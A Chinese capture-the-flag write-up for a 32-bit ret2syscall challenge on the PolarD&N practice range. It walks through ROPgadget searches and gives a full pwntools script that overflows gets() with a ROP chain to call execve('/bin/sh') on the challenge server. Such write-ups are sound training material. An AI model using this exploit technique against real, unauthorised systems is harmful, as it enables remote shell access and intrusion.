题目来源:PolarD&N靶场(https://www.polarctf.com/#/)
题目名称:03ret2syscall_32
是一个32位静态的题目!
思路:
door()函数存在溢出:
决定利用gets()函数的溢出,去构造execve("/bin/sh", 0, 0)。
使用命令查找eax,ebx,ecx,edx:
ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep 'eax'
ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep 'ebx'
存在ebx,ecx,edx连续的寄存器,选取连续的即可。
查找/bin/sh字符串:
ROPgadget --binary 03ret2syscall_32 --string '/bin/sh'
查找int 0x80:
ROPgadget --binary 03ret2syscall_32 --only 'int'
最终脚本:
from pwn import *
sh = remote('123.60.135.228',2062)
padding = 0x208+4
pop_eax_ret = 0x080b8576
pop_edx_ecx_ebx_ret = 0x0806f250
int_0x80 = 0x0806cea3
binsh = 0x080ea068
payload = flat(['a' * padding, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0,binsh,int_0x80])
sh.sendline(payload)
sh.interactive()
如有错误欢迎大佬指正!